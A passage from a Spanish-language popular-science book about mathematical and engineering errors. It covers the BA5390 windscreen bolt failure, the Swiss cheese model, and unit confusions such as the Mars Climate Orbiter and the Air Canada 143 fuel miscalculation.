mas fina que la del 8C, pero es dificil verlo. Por suerte, el 8C mide 0,1
pulgadas mas de largo (unos 2,5 milimetros), algo que podemos ver si los
alineamos uno junto al otro con sumo cuidado.
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Dos tornillos muy diferentes. Hagas lo que hagas, no los mezcles.

Es por esto que siento lastima por el encargado del mantenimiento que
hizo el turno de noche el 8 de junio de 1990 en British Airways en el
aeropuerto de Birmingham. Quito noventa tornillos del parabrisas de un avion
comercial birreactor BAC 1-11 y se dio cuenta de que era necesario
reemplazarlos, pero no tenian sefial alguna. Se llevé uno de los tornillos, bajo
del elevador de seguridad (una plataforma elevada) utilizado para poder llegar
a la parte frontal del avion y se dirigi6 al almacén. Después de comparar
meticulosamente el tornillo que llevaba con él con todos los que encontrd,
identifico que se trataba de un tornillo del modelo A211-7D. Ahora entiendo
lo dificil que debi6 ser. Abrid la caja y vio que solo quedaban cuatro o cinco.

Empatizo con este tipo. Ni siquiera le tocaba a él sustituir el parabrisas,
porque esa noche iban cortos de personal, y ademas era el jefe, lo hizo para
evitar futuros retrasos. Era algo que ya habia hecho unos afios antes cuando
trabajaba para BA y solo con un rapido vistazo al manual de mantenimiento
de la aeronave le bastd para recordar como se hacia. En el informe del
accidente que se publicé solo un afio y medio mas tarde, a nuestro amigo, el
jefe de mantenimiento, no se le nombra en ningiin momento (y con toda la
razén). Me gusta referirme a él como Sam (utilizando las siglas en inglés de
su cargo, Shift Maintenance Manager). Me imagino a Sam, a las 3.00 h,
haciendo algo que en realidad no le tocaba hacer, con tan solo cuatro tornillos
de los noventa que necesitaba.
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Asi que Sam coge un coche y sale del hangar atravesando el aeropuerto
hacia un segundo almacén de recambios situado bajo la terminal
internacional. Esta lloviendo. Todavia lleva en sus manos uno de los tornillos
que retiré del parabrisas. A diferencia del almacén principal, que cuenta con
un supervisor a su cargo, este segundo carece de personal. Entra y encuentra
el dispensador de tornillos, pero la zona esta escasamente iluminada. Suele
llevar gafas para leer, pero no las necesita en el trabajo porque su vista es
bastante buena, pero ahora, para poder acceder a la caja de tornillos, bloquea
la tnica fuente de luz del lugar. Las cajas ni siquiera estan etiquetadas como
corresponde. Sam compara los tornillos con el que ha traido. Finalmente,
encuentra algunos tornillos adecuados. Deben de ser del modelo A211-7D.
Spoiler: no lo eran.

Un momento, piensa Sam, una parte del parabrisas tiene una «banda de
revestimiento» de metal para mejorar la aerodinamica, lo que hace que sea
mas grueso. Seis de los tornillos tienen que ser mas largos. jMaldita sea, por
qué tuvo que traer solo uno de los tornillos al azar! Sam toma una decision y
coge suficientes tornillos del modelo que cree es el A211-7D, ademas de seis
A211-9D, que son un poco mas largos. Regresa al coche y conduce bajo la
lluvia.

Entra en el hangar principal y coge la llave dinamomeétrica que necesita
para colocar los tornillos. Ese tipo de llaves esta disefiado para soltarse
cuando el tornillo ha alcanzado la tension correcta y evitar asi que esté
excesivamente apretado. Pero no esta en el panel de herramientas. Ha
desaparecido. Sam, si alguna vez lees esto, te compadezco, tio.

El jefe del almacén tiene un destornillador dinamomeétrico, aunque no esta
calibrado correctamente y se supone que no se puede utilizar. Los dos lo
calibran para que ejerza una fuerza de torsién de 20 y realizan algunas
pruebas. Parece que va bien. Por fin Sam se puede poner a trabajar.

Excepto que la broca que Sam necesita utilizar no encaja en el cabezal del
destornillador. Por lo que tiene que utilizar una broca Phillips del n.° 2 que si
que encaja en el destornillador. Y no encaja bien; si lo soltaba, se caeria. La
broca del destornillador cay6 varias veces al suelo y Sam tuvo que bajar para
recuperarlo. Asomandose desde la plataforma de seguridad solo podia
alcanzar el parabrisas para apretar los tornillos, lo cual es una tarea para la
que son necesarias dos manos. Al usar ambas manos, Sam ya no podia estar
seguro de si el destornillador se soltaba porque se habia alcanzado el par
correcto o si se deslizaba debido a que el tornillo tenia el tamafio incorrecto.
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Son casi las cinco de la mafiana, y Sam ya casi ha acabado su turno. Pero
los tornillos A211-9D mas largos que ha cogido para la seccién mas gruesa no
encajan. Me gusta imaginar a Sam golpeando con el destornillador
dinamomeétrico contra el lateral del avién mientras solloza en voz baja. Puede
que invente algunas palabrotas nuevas. Al final, decide que los tornillos que
saco no estaban tan mal después de todo. Cogio6 seis y los volvié a colocar.
Por fin habia acabado.

Veintisiete horas después de que Sam estuviera (probablemente) jurando
en hebreo en el avién comercial birreactor BAC 1-11, este estaba preparado
en la pista de despegue como el vuelo BA5390, listo para llevar a ochenta y
un pasajeros y a seis miembros de la tripulacion a Malaga, Espafia. No sé si
usted ha estado alguna vez en Birmingham, Inglaterra, o en Malaga, Espaiia,
pero yo si, y le puedo asegurar que Malaga es una mejora significativa. Todo
el mundo a bordo estaba de buen humor.

Trece minutos después del despegue, el avion estaba a unos 17.300 pies
de altitud y las azafatas estaban a punto de empezar con el servicio de comida
y bebida. Se produce un estallido fuerte cuando el parabrisas cae y revienta
hacia afuera, provocando que la cabina sufra una descompresion en tan solo
dos segundos. El aire se volvio neblinoso debido al cambio repentino de la
presion.

El sobrecargo Nigel Ogden fue a toda prisa a la cabina de wvuelo
encontrandose al copiloto que estaba intentando recuperar el control de la
aeronave porque el piloto habia sido succionado por la abertura de la ventana,
golpeandose contra la columna de mando y desactivando asi el piloto
automatico. Bueno, su cuerpo casi esta fuera de la ventana. Esta enganchado
en el marco del parabrisas, por lo que sus piernas todavia estan dentro de la
nave. Ogden se las arregla para agarrar al piloto por sus piernas para impedir
que saliera volando.

El copiloto, Alistair Atcheson, fue capaz de recuperar el control del avién
y aterrizarlo, con medio cuerpo del capitan Tim Lancaster colgando fuera de
la ventana. La tripulacion se iba turnando para ir agarrandolo de las piernas.
Sobrevivio todo el mundo, incluyendo al capitan Lancaster, que se paso
veintidés minutos fuera del avion, y que se pudo recuperar completamente y
volver a pilotar.

Es una historia increible. Un relato extraordinario de como una tripulacion
supo reaccionar a un desastre repentino y catastréfico y se las arreglod para
aterrizar la nave sin que se perdiera ninguna vida. Pero estoy igualmente
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asombrado por cémo pudo fallar el parabrisas. Se hacen tantos controles
rigurosos que algo como lo que he contado no deberia poder ocurrir.

La respuesta corta e injusta es que Sam utilizo los tornillos incorrectos.
Cuando estaba en el almacén de recambios situado bajo la terminal
internacional del aeropuerto de Birmingham no cogié tornillos del modelo
A211-7D como crey6, sino que eran del modelo A211-8C. Estos tornillos
tienen un diametro ligeramente menor, lo que significa que se pueden
arrancar de la rosca disefiada para soportar tornillos 7D. Cuando miro en mi
despacho ambos tipos de tornillo bajo la luz clara del dia, pienso que podria
cometer el mismo error facilmente, sin la presion afiadida que tuvo que
soportar Sam.

Forma parte de nuestra naturaleza culpar a alguien cuando las cosas salen
mal. Pero los errores humanos individuales son inevitables. Decirle a la gente
que no cometa error alguno es una forma muy ingenua de intentar evitar que
se produzcan accidentes y desastres. James Reason es profesor emérito de
psicologia en la Universidad de Manchester, cuya investigacion se centra en
los errores humanos. Postulé el modelo del queso suizo para analizar los
desastres, que se fija en el sistema completo en lugar de concentrarse en las
personas individuales.

El modelo del queso suizo se fija en como las «defensas, barreras y
salvaguardias son atravesadas por la trayectoria que sigue un accidente». Este
modelo contempla los accidentes de forma parecida a un aluvion de piedras
que caen sobre un sistema: solo aquellas que llegan hasta el final provocan un
desastre. Dentro del sistema existen multiples capas, cada una con sus propias
defensas y salvaguardias que ralentizan los errores. Pero cada capa tiene
agujeros. Son como rodajas de queso suizo.
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En ocasiones todos los agujeros de tu queso se alinean.

Me encanta esta forma de analizar los accidentes, porque reconoce que es
inevitable que los humanos cometan errores durante un cierto porcentaje del
tiempo. El enfoque pragmatico se basa en reconocer este aspecto y en
construir un sistema lo suficientemente robusto para filtrar los errores antes de
que se conviertan en desastres. Cuando se produce un desastre, es un fallo de
todo el sistema y puede ser injusto culpar a un unico humano.

Como experto de pacotilla, me parece que las disciplinas de la ingenieria
y la aviacion son bastante adecuadas para este modelo. Cuando investigaba
para este libro, lei un montén de informes sobre accidentes y eran
generalmente buenos a la hora de analizar todo el sistema. Mi impresion
desinformada es que, en algunas industrias, como la medicina o las finanzas,
que tienden a culpar a un individuo, ignorar el sistema en su conjunto puede
conducir a una cultura en la que no se admiten los errores cuando estos
suceden. Lo que hace que, ironicamente, el sistema sea menos capaz de lidiar
con ellos.

Pero del mismo modo que sucede en un queso suizo real, a veces todos los
agujeros se alinean aleatoriamentel20]. Sucesos poco probables se producen
ocasionalmente. Que es lo que ocurrio con el desastre del vuelo BA5390.
Tuvieron que salir mal muchas cosas para que la ventana reventara hacia
afuera:
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e Sam escogio los tornillos incorrectos

o El almacén principal no tenia suficientes tornillos del modelo
que Sam necesitaba. Si se hubieran repuesto como toca podria
haber cogido los tornillos 7D que estaba buscando.

o El almacén, que carecia de personal, estaba desorganizado.
Durante la investigacion se descubrié que, de los 294 cajones
que contenian material, a 25 de ellos les faltaba una etiqueta
identificativa y que, de los 269 que si tenian, solo 163 contenian
lo que tocaba.

o El almacén estaba muy poco iluminado y, al no llevar sus gafas,
Sam no se dio cuenta de que habia escogido los tornillos
equivocados.

e Sam no se dio cuenta de que los tornillos no encajaban correctamente

o Debio notar que la rosca del tornillo patinaba cuando entraba en
la contratuerca. Aunque ese deslizamiento parecia igual que
cuando el destornillador dinamométrico alcanzaba el par
requerido.

o Los tornillos 8C que Sam utilizo tenian la cabeza mas pequefa
que los 7D que extrajo, y parecia algo obvio, porque no llenaban
el avellanado hecho para las cabezas de los tornillos. Excepto
que el método a dos manos que utiliz6 para mantener el
destornillador montado impidio que se diera cuenta.

e Nadie reviso el trabajo de Sam

o Si Sam no hubiera sido el jefe de mantenimiento, su trabajo
hubiera sido revisado por, bueno, el jefe de mantenimiento.

o Aunque parezca increible, el parabrisas no estaba clasificado
como «punto critico» susceptible de fallo catastréfico, y solo las
partes calificadas como tales tienen que comprobarse dos veces,
incluso aunque el trabajo haya sido realizado por el jefe de
mantenimiento.

e El parabrisas podia estallar hacia afuera

o Las partes de un avion se suelen disefiar siguiendo el principio
«de tapon», que es una especie de mecanismo de seguridad
pasiva. Si el parabrisas se hubiera encajado por dentro, la
presion del aire del interior de la cabina hubiera ayudado a
mantenerlo en su lugar. Pero, dado que se encajo por fuera, los
tornillos estaban luchando contra la presién interna de la
cabinal21],
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Se me ocurren otras cosas que podrian haber evitado el desastre. Los
estandares britanicos para los tornillos A211 podrian obligar a que lleven una
inscripcion en el propio tornillo, en lugar de unicamente en el paquete. La
documentacion de mantenimiento de British Airways podria haber sido mas
explicita sobre la complejidad de ese trabajo. La Autoridad de Aviacién Civil
podria exigir que se realizase una prueba de presién después de que se realice
esa tarea sobre presion del fuselaje. La lista podria seguir.

En este caso, el efecto que pasa desapercibido es que, mientras que cada
uno de estos pasos individuales es mas que probable, la probabilidad de que
se realicen todos ellos simultaneamente es muy pequefia. Siempre habra
algunos errores que se cuelen por algunas capas del queso, pero rara vez hay
los suficientes agujeros alineados como para que los errores provoquen una
catastrofe.

No resulta muy reconfortante pensar que, en el ambito de la aviacion, se
producen a todas horas errores pequefios y circunstancias desafortunadas y
que solo estamos a salvo por medidas de udltima hora que funcionan como
toca y neutralizan la amenaza. Pero, estadisticamente, asi son las cosas, y
podemos decir que, estadisticamente, estamos muy seguros. Podemos creer en
los quesos.

Cualquiera que ya tenga miedo a volar es mejor que deje de leer lo que
viene a continuacion y pase directamente a la siguiente seccion. No se
preocupe, no se pierde nada importante.

Para todos los demas: este es un analisis sobre como se pueden producir
errores menores sin ramificacién alguna. ;Recuerda esos tornillos A211-7D
que Sam extrajo del parabrisas original? Esa ventana del avion comercial
birreactor BAC 1-11 deberia haber utilizado tornillos A211-8D. No eran los
que tocaba. Cuando la British Airways adquirio el avion, los tornillos que
llevaba puestos eran los equivocados. Habia estado volando con los tornillos
erréneos durante afos.

A lo largo de la investigacion encontraron ochenta de los antiguos
tornillos que Sam habia retirado: setenta y ocho eran del modelo incorrecto
(7D) y solo dos eran 8D. El avion habia estado volando con unos tornillos
para el parabrisas que eran ligeramente mas cortos. Por suerte, los tornillos
seleccionados eran lo suficientemente largos para los seis puntos de la parte
mas gruesa de la ventana, y ligeramente demasiado largos en los otros
ochenta y cuatro puntos. Los tornillos 7D mas cortos seguian siendo lo
suficientemente largos para mantener la mayor parte de la ventana fija en su
sitio.
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Ir6nicamente, los tornillos 8C que por error cogié Sam eran de la longitud
correcta. Pero eran mas delgados y no encajaban correctamente con las
tuercas; con la suficiente fuerza se podian arrancar, como ocurrié en el
desastre casi mortal. Si las cosas hubieran salido ligeramente diferentes (que
hubiera fallado el parabrisas a una altura superior; que el copiloto no
recuperara el control de la aeronave), esa pequefia diferencia de diametro de
0,66 milimetros podria facilmente haber dado como resultado la muerte de las
ochenta y siete personas que iban a bordo.

Justo después del accidente, y antes de que se hubiera finalizado la
investigacion, la British Airways realizo un chequeo de emergencia de todos
sus aviones BAC 1-11, retirando y midiendo uno de cada cuatro tornillos de
los parabrisas. Se dejaron en tierra dos aviones mas porque vieron que los
tornillos que tenian eran incorrectos. Otra aerolinea realizd una comprobacion
similar y encontré6 que dos de sus aviones también estaban utilizando los
tornillos equivocados.

Es aterrador.

Si los humanos van a seguir creando cosas que van mas alla de lo que
podemos percibir, entonces necesitamos utilizar esa misma inteligencia para
construir sistemas que permitan que los humanos los utilicen y los
mantengan. O, para decirlo de otra forma, si los tornillos son demasiado
parecidos para distinguirlos, mejor escribir en ellos el numero identificativo
del producto.
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Diez

UNIDADES, CONVENCIONES Y ;POR QUE NO
PODEMOS LLEVARNOS TODOS BIEN?

Un numero sin unidades puede ser irrelevante. Si algo cuesta «9,97»,
queremos saber en qué tipo de moneda. Si esperamos que sean libras
esterlinas o dolares estadounidenses y resulta que son rupias indonesias o
bitcoins, nos llevaremos una sorpresa (y una sorpresa muy diferente,
dependiendo de cual de las dos sea). Gestiono una pagina web de venta al por
menor afincada en el Reino Unido y recibimos la queja de un cliente por
nuestra audacia listando los precios en una «moneda extranjera».

Entonces, ¢la cantidad cargada es en moneda extranjera? Es obvio que, dado que seguramente
somos muchos los que hacemos pedidos desde aqui, nos gustaria que fuera en ddlares
estadounidenses.

Cliente insatisfecho de mathsgear.co.uk

El hecho de entender erroneamente las unidades puede cambiar
drasticamente el significado de un nimero, por lo que existen toda clase de
ejemplos fantasticos de tales errores. Es por todos conocido que Cristébal
Colon utilizé las millas italianas (1 milla italiana = 1.477,5 metros) cuando
leia las distancias escritas en millas arabes (1 milla arabe = 1.975,5 metros) y
por eso calculé que Asia estaba a tan solo un placido viaje en barco desde
Espafia. El error que cometio con las unidades, combinado con algunas otras
suposiciones incorrectas, hizo que cuando esperaba llegar a China estuviera
llegando aproximadamente a lo que hoy es San Diego. La distancia real entre
Europa y Asia habria sido demasiado larga para que Col6n la atravesara, si no
fuera por una inesperada masa de tierra que alcanzé en su lugar. Aunque se ha
especulado con que err6 en los numeros intencionadamente para engafar a
sus patrocinadores y a su tripulacion.

Cuando estaba investigando y escribiendo este libro, la pregunta mas
frecuente que me planteaban las personas con las que hablé era: «¢Hablaras
sobre la nave espacial de la NASA que utiliz6 las unidades equivocadas y se
estrell6 en Marte?». (La segunda que mas me hicieron fue sobre el puente
tambaleante; en este caso, quienes preguntaban eran londinenses.) Hay algo
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en la confusion de unidades que le encanta a la gente. Puede que sea porque
es un error muy familiar. Y si lo combinamos con el regodeo que produce el
hecho de que la NASA cometa un error de matematicas basicas, lo convierte
en una historia muy atractiva.

Y este es un caso en el que la leyenda urbana creada en torno a él es (casi
completamente) cierta. En diciembre de 1998, la NASA lanz6 la nave
espacial Mars Climate Orbiter, que tard6 nueve meses en llegar a Marte. Una
vez alli, una confusién entre unidades métricas e imperiales provoc6é un
fracaso completo de la misién y la pérdida de la nave espaciall22],

Las naves espaciales utilizan volantes de inercia, que, basicamente, son
peonzas enormes, para su estabilidad y control. El efecto giroscépico significa
que, incluso en el vacio del espacio donde no hay friccion, la nave puede
empujar contra algo y desplazarse. Pero, con el tiempo, los volantes pueden
acabar girando a demasiada velocidad. Para arreglar este problema, se lleva a
cabo una desaturacion del momento angular (AMD por sus siglas en inglés)
para reducir ese giro, utilizando propulsores para mantener estable la nave
espacial, pero esto provoca un ligero cambio en la trayectoria. Un cambio
ligero pero importante.

Cada vez que se utilizan los propulsores, se transmiten los datos a la
NASA sobre cuan potentes fueron los fogonazos y cuanto duraron. Lockheed
Martin desarrollé un software llamado SM_ FORCES (por «small forces»,
fuerzas pequefias) para analizar los datos del propulsor e introducirlos en un
archivo AMD para que lo utilizase el equipo de navegacion de la NASA.

Y es ahi donde se produjo el problema. El programa SM_ FORCES estaba
calculando las fuerzas en libras (técnicamente hablando, en libras fuerza: la
fuerza gravitacional sobre una libra de masa en la Tierra), mientras que el
fichero AMD estaba suponiendo que las cantidades que recibia venian en
newtons (la unidad métrica de fuerza). Una libra fuerza equivale a 4,44822
newtons, por lo que, cuando SM_FORCES informaba en libras, el fichero
AMD pensaba que las cantidades eran en unas unidades mas pequeias,
newtons, y subestimaba la fuerza en un factor de 4,44822.

El Mars Climate Orbiter no se estrello por un enorme error de calculo
cuando lleg6 a Marte, sino debido a muchos pequefios errores durante el curso
de su viaje de nueve meses. Cuando estaba preparado para entrar en Orbita
alrededor de Marte, el equipo de navegacion de la NASA pensoé que solo se
habia salido de su ruta ligeramente a causa de las distintas desaturaciones del
momento angular. Esperaban que observara Marte a una distancia entre 150 y
170 kilémetros de la superficie, con lo cual se podria utilizar la atmésfera

Pagina 193



para reducir la velocidad de la nave espacial y ponerla asi en érbita. Pero en
cambio, se dirigio directamente a una altitud de 57 kilometros por encima de
la superficie marciana, donde acab6 destruida.

Fallé por muy poco.

Tan solo hizo falta una confusion de unidades para destruir los cientos de
millones de dolares de una nave espacial. Para que conste: las
especificaciones para el software de la misiéon de la NASA dejaban claro que
todas las unidades han de ser métricas; el SM_FORCES no se creo siguiendo
las especificaciones oficiales. Por lo que el fallo se produjo porque la NASA
utilizaba unidades métricas y el contratista era de la vieja escuela.

El problema que derrib6é una nave espacial moderna también hundié un
barco de guerra del siglo xvii. El 10 de agosto de 1628, se inauguro el barco
de guerra sueco Vasa y se fue a pique a los pocos minutos. Durante ese breve
momento fue el barco de guerra armado mas poderoso del mundo: llevaba
sesenta y cuatro cafiones de bronce. Desafortunadamente, también era
demasiado pesado. Esos cafiones no ayudaron, ni tampoco el refuerzo pesado
de la cubierta superior que se tuvo que colocar para soportarlos. Solo hicieron
falta dos fuertes rafagas de viento y el barco volco, hundiéndose y llevandose
consigo treinta vidas.

Por suerte para la historia, el Vasa se hundio en aguas que eran ideales
para conservar la madera. Poco después de su hundimiento, se recuperé la
mayoria de los preciados cafiones de bronce y el resto del naufragio fue
olvidado (hasta 1956, cuando el investigador de naufragios Anders Franzén
logro localizar el Vasa). Se saco del agua en 1961, y ahora descansa en un
museo construido a medida en Estocolmo. A pesar de haber pasado tres siglos
en el fondo del océano, el Vasa esta increiblemente bien conservado. Le
faltan sus cafiones y la pintura original, pero, aun asi, parece
sorprendentemente nuevo.
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Los analisis modernos de la estructura del casco del Vasa han demostrado
que es asimétrico, mucho mas que otros barcos de la misma época. Por lo que,
aunque la sobrecarga de la parte superior del barco fue claramente un factor
importante de su falta de estabilidad, un desequilibrio subyacente entre babor
y estribor fue también el culpable.

Les encantan los grandes cascos, y estos no saben mentir (ni nivelarse).

Durante las restauraciones que se realizaron, se recuperaron cuatro reglas
diferentes. Dos median en «pies suecos», cada uno de los cuales equivalia a
doce pulgadas, y las otras dos median en «pies de Amsterdam», equivalentes
a solo once pulgadas. Las pulgadas de Amsterdam eran mayores que las
suecas (y el pie también era de longitudes diferentes). Los arquedlogos que
trabajaban en el Vasa sugirieron que esta pudo ser la causa de su asimetria. Si
los equipos de constructores que trabajaban en el barco estaban utilizando
pulgadas ligeramente diferentes, pero seguian las mismas instrucciones, esto
podria haber producido partes del barco con tamafios diferentes. En este caso,
no sabemos cuales fueron las especificaciones requeridas.
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No mucho después de celebrarse las elecciones de junio de 2017 en el Reino
Unido, una btisqueda en la versién inglesa de Google de «durante cuanto tiempo ha
sido Theresa May primera ministra» daba como resultado su altura en picometros.
Cuando se trata de medir alguna parte corporal de un lider politico, las trillonésimas
de metro no es la unidad mas conveniente. Excepto, tal vez, para Trump.

- J

Si no puedes con el calor, sal de la conversiéon

Por lo menos, las unidades de distancia estan todas de acuerdo en donde
empezar a medir. En cuanto a la longitud, es evidente que existe un punto
cero: aquel en el que no tienes nada de nada. Los metros y los pies pueden
diferir en el tamafio de sus intervalos, pero todos ellos empiezan en el mismo
lugar. En cambio, con la temperatura no esta tan claro. No hay un punto claro
en el que empiece una escala de temperaturas, ya que siempre puede hacer
mas frio (segtn la experiencia humana).

Dos de las escalas de temperaturas mas populares son la de Fahrenheit y
la de Celsius, y cada una de ellas utiliza un enfoque diferente para elegir una
temperatura inicial de cero. El fisico aleman Daniel Fahrenheit propuso la
escala que lleva su nombre en 1724, y baso el punto cero en una mezcla
frigorifica. Si «frigorifica» no se acaba de convertir en su nueva palabra
favorita, esta usted frio y muerto por dentro.
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Una mezcla frigorifica es un montén de sustancias quimicas que siempre
se estabilizan a la misma temperatura, por lo que constituyen un buen punto
de referencia. En este caso, si mezclamos cloruro de amonio, agua y hielo y
los agitamos, acabaran estando a 0 °F. Si mezclamos unicamente agua y hielo,
estara a 32 °F, y la mezcla menos frigorifica de la sangre humana (aunque
estando todavia dentro de un humano sano) es a 96 °F. Aunque estos fueron
los puntos de referencia que utilizd, la escala Fahrenheit moderna se ha
ajustado y ahora se fija en la congelacion del agua a 32 °F y su ebullicion en
212 °F. jFrigorifico!

La escala Celsius fue creada mas o menos al mismo tiempo por el
astronomo sueco Anders Celsius, excepto que €l cont6 en el sentido contrario.
Celsius empezd con el cero en el punto de ebullicion del agua a la presion
atmosférica normal y luego subia a medida que la temperatura bajaba,
congelandose finalmente el agua a 100 °C. Mientras tanto, otras personas
empezaron a utilizar la convencion mas popular de situar el cero en el punto
de congelacion del agua e ir subiendo hasta llegar a 100 cuando el agua
hervia, y luego todos discutieron para ver quién tuvo primero la idea. No hubo
un ganador claro a la hora de saber de quién fue la idea, pero la unidad calé y
se le dio el nombre neutral de centigrado.

Sin embargo, Celsius iba a ser el ultimo en reir, cuando el nombre
centigrado chocaba con una unidad utilizada para medir angulos (un
centigrado o gradian es un cuadringentésimo de un circulo), por lo que, en
1948, acabo recibiendo su nombre. La escala Celsius se utiliza hoy en dia casi
universalmente para medir la temperatura, excepto, al parecer, en algunos
paises que siguen utilizando el Fahrenheit, como Belice, Myanmar, Estados
Unidos y una parte importante de la poblacion inglesa que es «demasiado
vieja para cambiar ahora» (a pesar de que el Reino Unido lleva intentado ser
«métrico» desde hace medio siglo). Esto significa que todavia es necesario
realizar conversiones entre ambas escalas, y hacerlo con la temperatura no es
tan sencillo como con la longitud.

La medicion de distancias puede implicar tener que utilizar unidades de
diferentes tamafios, pero todos los sistemas emplean el mismo punto de
partida, lo que implica que no hay diferencia cuando pasamos de medidas
absolutas a diferencias relativas. Si alguien es 0,5 metros mas alto que yo, y
esta a 10 metros de mi posicion, ambas medidas se pueden convertir en pies
de la misma forma (multiplicando por 3,28084); no importa si 10 metros es
una medida absoluta y 0,5 es la diferencia entre dos medidas (nuestras
estaturas). Todo parece muy natural. Pero no funciona con las temperaturas.
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En septiembre de 2016, las noticias de la BBC informaron de que Estados
Unidos y China habian firmado el Acuerdo de Paris sobre el cambio
climatico, resumiendo el acuerdo de esta forma: «los paises acuerdan reducir
las emisiones lo suficiente para mantener el aumento de las temperaturas por
debajo de los 2 °C (36° F)». El error no es solo que la BBC siga dando las
temperaturas en Fahrenheit, sino que un cambio de 2 °C no es lo mismo que
un cambio de 36 °F, aunque una temperatura de 2 °C equivale a una
temperatura de 36 °F. Si un dia esta usted al aire libre y la temperatura es de 2
°C y se fija en un termémetro Fahrenheit, este indicara 36 °F. Pero si en ese
momento la temperatura sube 2 °C, solo habra subido 3,6 °F.

La locura es que la BBC lo puso bien inicialmente. Gracias a la fantastica
pagina web newssniffer.co.uk, que sigue el rastro de todos los cambios que se
producen en los articulos de las noticias, podemos ver el caos que se debio
montar en la sala de redaccion de la BBC por los continuos cambios
numericos que realizaron.

Para ser justo, el articulo formaba parte de una cobertura en directo de las
noticias de dltima hora y se disefi6 de tal forma que se pudiese ir actualizando
con regularidad. La primera version del articulo que mencionaba la
temperatura hablaba del cambio de 2 °C. Pero debi6 de producirse alguna
discusion sobre las quejas que seguramente recibirian si no ponian también la
temperatura en Fahrenheit, por lo que dos horas después se afiadieron esos 3,6
°F. jQue es la respuesta correcta!

Pero es una respuesta correcta inestable, porque, a pesar de ser correcta,
hay una respuesta «mas obvia» aunque menos correcta que la gente intentara
que se cambie. Y mas o menos media hora mas tarde, desaparecieron los 3,6
°F y aparecié en su lugar 36 °F. Una temperatura de 2 °C en términos
absolutos equivale a 35,6 °F, por lo que alguien debio ver 3,6 °F y debid
pensar que era un redondeo de 35,6 °F con el punto decimal en el lugar
equivocado. Puedo imaginarme los acalorados debates entre los partidarios de
los 3,6 °F y los de los 36 °F, cada uno de ellos intentando reivindicarse como
los portadores de la verdad ultima en el tema de las temperaturas, hasta que,
imagino, un agotado editor grit6: «jBasta!l jAhora nadie pondra Ila
temperatura!». A las ocho de la mafana, tres horas después de que
aparecieran los 36 °F, desaparecieron sin que fueran sustituidos por otra cifra.
Parecia que con los 2 °C era suficiente. La BBC se habia rendido incapaz de
realizar la conversion a Fahrenheit.

También pueden surgir problemas con la longitud a la hora de decidir el
punto de inicio de referencia, pero son casos mucho mas raros. Cuando se
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construy6 un puente entre Laufenburg (Alemania) y Laufenburg (Suiza), cada
lado se construy6 por separado sobre el rio hasta que se pudiera unir en su
punto medio. Para ello era necesario que ambos bandos estuvieran de acuerdo
en la altura exacta que iba a tener el puente, y la definian en relaciéon con el
nivel del mar. El problema era que cada pais tenia una idea diferente sobre
cual era el nivel del mar.

El océano no es una superficie completamente quieta y plana; esta
constantemente en movimiento. Y eso es antes de tener en cuenta el desigual
campo gravitacional de la Tierra que altera los niveles del mar. Por lo que
cada pais tiene que tomar una decision en cuanto a su nivel del mar. El Reino
Unido utiliza la altura media del agua en el Canal de la Mancha medida en la
ciudad de Newlyn, en Cornualles, una vez cada hora entre 1915 y 1921.
Alemania utiliza la altura del mar medida en el mar del Norte, que bafia la
linea costera alemana. Suiza no tiene salida al mar, pero utiliza el nivel del
mar del Mediterraneo.

El problema surgié porque las definiciones alemana y suiza de «nivel del
mar» diferian en 27 centimetros y, sin compensar esa diferencia, el puente no
podria coincidir en su punto medio. Pero no fue un error matematico. Los
ingenieros se dieron cuenta de que existiria una discrepancia en torno al nivel
del mar, calcularon la diferencia exacta de 27 centimetros y, entonces... la
restaron del lado incorrecto. Cuando las dos mitades del puente de 225 metros
se encontraron en el medio, el lado aleman era 54 centimetros mas alto que el
suizo.

De aqui es de donde procede la frase: «Mide el nivel del mar dos veces,
construye un puente de 225 metros una vez».

Problemas masivos

El combustible de un avién se calcula en base a su masa, no a su volumen.
Los cambios de temperatura pueden hacer que las cosas se expandan y se
contraigan; el volumen real que ocupa un combustible depende de su
temperatura, por lo que es una medida poco fiable de cantidad. L.a masa sigue
siendo la misma. Por lo que, cuando el vuelo 143 de Air Canada iba a
despegar de Montreal el 23 de julio de 1983 para volar a Edmonton, se
calculd que iba a necesitar un minimo de 22.300 kilogramos de combustible
(mas un extra de 300 kilogramos para desplazarse por la pista, etc.).

Quedaba todavia algo de combustible del vuelo que llevo el avion a
Montreal, y este se midi6 para comprobar cuanto combustible era necesario
afadir para el siguiente vuelo. Excepto que tanto el personal de
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mantenimiento en tierra como la tripulacién del avién hicieron sus calculos
utilizando libras en lugar de kilogramos. La cantidad de combustible
necesario tenia que ser en kilogramos, pero llenaron el avion utilizando libras,
y una libra equivale a tan solo 0,45 kilogramos. La consecuencia fue que el
avion despego6 con aproximadamente la mitad del combustible que necesitaba
para llegar a Edmonton. El Boeing 767 se iba a quedar sin combustible a
mitad de camino.

En un giro del destino increiblemente afortunado, el avion, volando con
un peligroso déficit de combustible, tuvo que realizar una escala en Ottawa,
donde los niveles de combustible se volverian a comprobar antes de que el
avion volviera a despegar. El avion aterrizd correctamente, con los ocho
miembros de la tripulacion y los sesenta y un pasajeros, sin tener ni idea de lo
cerca que habian estado de quedarse sin combustible en pleno vuelo. Este
hecho nos hace recordar que utilizar las unidades equivocadas puede poner las
vidas de las personas en peligro.

Pero, entonces, en un giro del destino increiblemente desafortunado, el
personal que realizaba la comprobacion del combustible en Ottawa cometid
exactamente el mismo error de confusion de unidades (kilogramo/libra) y se
le permiti6 al avion despegar de nuevo con muy poco combustible. Y se
quedé sin combustible a medio camino.

El lector deberia estar perplejo mientras lee esta historia. Es tan increible
que pone a prueba su credulidad. Seguro que los aviones tienen indicadores
de combustible que les indican cuanto les queda. L.os coches lo tienen y, si un
automodvil se queda sin gasolina, simplemente se detiene y provoca un
pequefio inconveniente: nos hace tener que ir caminando hasta la gasolinera
mas cercana. Si un avion se queda sin combustible, también se va a detener,
pero solo después de caer miles de metros (tres mil pies). Los pilotos deberian
ser capaces de echar un vistazo al indicador de combustible y ver que esta
excesivamente bajo.

No se trataba de una avioneta con un indicador de combustible poco
fiable. Era un Boeing 767 completamente nuevo y recién adquirido por Air
Canada. Un Boeing 767 nuevo... con un indicador de combustible muy poco
fiable. El Boeing 767 fue uno de los primeros aviones en estar equipado con
toda clase de avionica (electronica para la aviacion), por lo que una gran parte
de la cabina esta formada por dispositivos electrénicos. Y, al igual que la
mayoria de aparatos electrénicos, son geniales... hasta que algo funciona mal.

Ya que no puedes contar con la asistencia en carretera cuando estas a
miles de pies de altura, el quid de la cuestion es la redundancia. Las aeronaves
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tienen que llevar sus propios repuestos. Por lo que el indicador electrénico de
combustible estaba conectado con sensores en los tanques de combustible a
